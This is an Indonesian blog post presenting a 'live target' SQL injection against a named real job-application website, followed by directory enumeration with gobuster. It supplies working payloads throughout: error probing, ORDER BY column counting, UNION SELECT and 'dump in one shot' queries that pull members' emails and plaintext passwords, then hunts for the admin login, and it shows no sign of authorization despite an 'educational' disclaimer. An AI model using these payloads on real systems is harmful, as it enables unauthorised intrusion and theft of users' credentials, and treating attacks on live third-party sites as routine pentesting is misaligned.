#WebExp #LiveT4rget #LiveH4ck Basic Website SQL Inject!on + Enumerat!ng Directory — Indonesia
Website adalah bagian penting dari sebuah instansi atau perusahaan, yang dimana merupakan bagian dari informasi tentang perusahaan atau instansi tersebut, dan memiliki data penting, seperti Username, Password atau Malicious Data yang private.
Namun kita sebagai Pentester selalu mencoba bagaimana cara masuk ke sistem website tersebut tanpa melalui akses depan, melainkan dari URL yang Misconfiguration, seperti halnya SQL Injection ini, dan dai artikel ini menjelaskan bagaimana cara SQL Injection dan Enumerating Direktori pada website, Disclaimer ini hanyalah artikel edukasi, saya tidak bertanggung jawab apabila kalian mendapati hal yang tidak tidak.
Disini saya menemukan sebuah website yaitu MMW atau website yang digunakan pada perusahaan untuk HRD dan melamar pekerjaan di luar negri, dan mari kita test website ini, dan disini ada URL yang Misconfiguration yaitu
http://www.mmwi.com/newsone.php?open&i=5
Kita coba test apakah ada Bug / Celah pada website ini dengan cara menambahkan Quote di akhir, jadi seperti ini
http://www.mmwi.com/newsone.php?open&i=5'
Jika tampil error, dan errornya seperti yang di bawah ini, berarti website bisa kita gali informasi servernya lebih dalam lagi
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Selanjutnya kita akan mencari tahu SQL apa saja yang ada di dalam website ini, caranya masukan Order By untuk melihat data apa saja yang ada di dalam web tersebut,dan kita cari sampai mana errornya
5+order+by+1-- - (Tidak error)
5+order+by+2-- - (Tidak error)
5+order+by+3-- - (Tidak error)
5+order+by+4-- - (Tidak error)
5+order+by+5-- - (Tidak error)
5+order+by+6-- - (Tidak error)
5+order+by+7-- - (Tidak error)
5+order+by+8-- - (Tidak error)
5+order+by+9-- - (Error)
Dan ketika sudah ketemu errornya seperti di bawah ini, maka kita bisa lanjut untuk memilih data dan menampilkan data apa saja yang di variabelkan pada webnya, dan ada 9 data yang ada di web ini.
Unknown column '9' in 'order clause'
Lanjut kita lakukan yang namanya UNION SELECT jika tadi kita mencari error, sekarang kita mencari yang tidak error (Dibalik), seperti ini perintahnya
5+union+select+1,2,3,4,5,6,7,8,9--+- (ERROR)
5+union+select+1,2,3,4,5,6,7,8--+- (Tidak Error)
Dan jika error maka perintah + tampilannya seperti ini
The used SELECT statements have a different number of columns
Dan ini tampilan ketika tidak error, dan akan muncul beberapa angka ajaib dari website tersebut yang masih dapat kita gali informasinya
Nah di web tersebut ada angka 2, 3, dan 4 dimana angka ini merupakan variable dari php dan terhubung ke database, sekarang kita coba tampilan user databasenya pada angka 2, berikut perintahnya
5+union+select+1,user(),3,4,5,6,7,8--+-
Ubah angka 2 menjadi user(), dan akan menampilan username database pada web tersebut seperti pada gambar di bawah ini,
Nah itu dia usernamenya, dan selanjutnya kita akan melakukan DIOS atau Dump In One Shoot, disini kita lakukan DIOS pada angka 3, berikut perintahnya,
DIOS Get Database :
/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/
DIOS Get Spesific Table :
(/*!50000select*/(@x)from(/*!50000select*/(@x:=0x00),(/*!50000select*/(@x)from(TABLE)where(@x)in(@x:=/*!50000concat*/(0x20,@x,0x3c62723e,COLUMN,0x203a3a20,COLUMN))))x)
Dan lakukan terlebih dahulu DIOS Get database, lalu akan tampil seperti ini
5+union+select+1,user(),/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/,4,5,6,7,8--+-
Nah itu isi database yang di gunakan dalam website ini, dan kali ini saya ingin DIOS pada email dan password, jadi gunakan DIOS get Spesific table, jadi seperti ini
(/*!50000select*/(@x)from(/*!50000select*/(@x:=0x00),(/*!50000select*/(@x)from(members)where(@x)in(@x:=/*!50000concat*/(0x20,@x,0x3c62723e,email,0x203a3a20,password))))x)
Ubah angka tiga tadi menjadi DIOS get Spesific table, dan jadi url seperti ini
5+union+select+1,user(),(/*!50000select*/(@x)from(/*!50000select*/(@x:=0x00),(/*!50000select*/(@x)from(members)where(@x)in(@x:=/*!50000concat*/(0x20,@x,0x3c62723e,email,0x203a3a20,password))))x),4,5,6,7,8--+-
Dan boom abacadabra!
Email dan password login dari web tersebut muncul seperi pada gambar di bawah ini
Dan tidak ada enkripsi password pada website ini, selanjutnya kita cari login admin menggunakan metode Enumerating Directory, dan saya menggunakan GoBuster untuk search, dengan perintah
gobuster dir -u http://www.mmwi.com/ --wordlist /usr/share/wordlists/dirb/common.txt
Dan jika ketemu maka tinggal login atau terserah mau di apakan haha
Terima kasih.
DISCLAIMER : FOR EDUCATIONAL PURPOSE !
Jika kamu kesulitan dalam memahami artikel ini, silahkan langsung saja menonton video youtube saya pada link berikut ini :
Jangan Lupa Subscribe Youtubeku dan Follow Mediumku ya !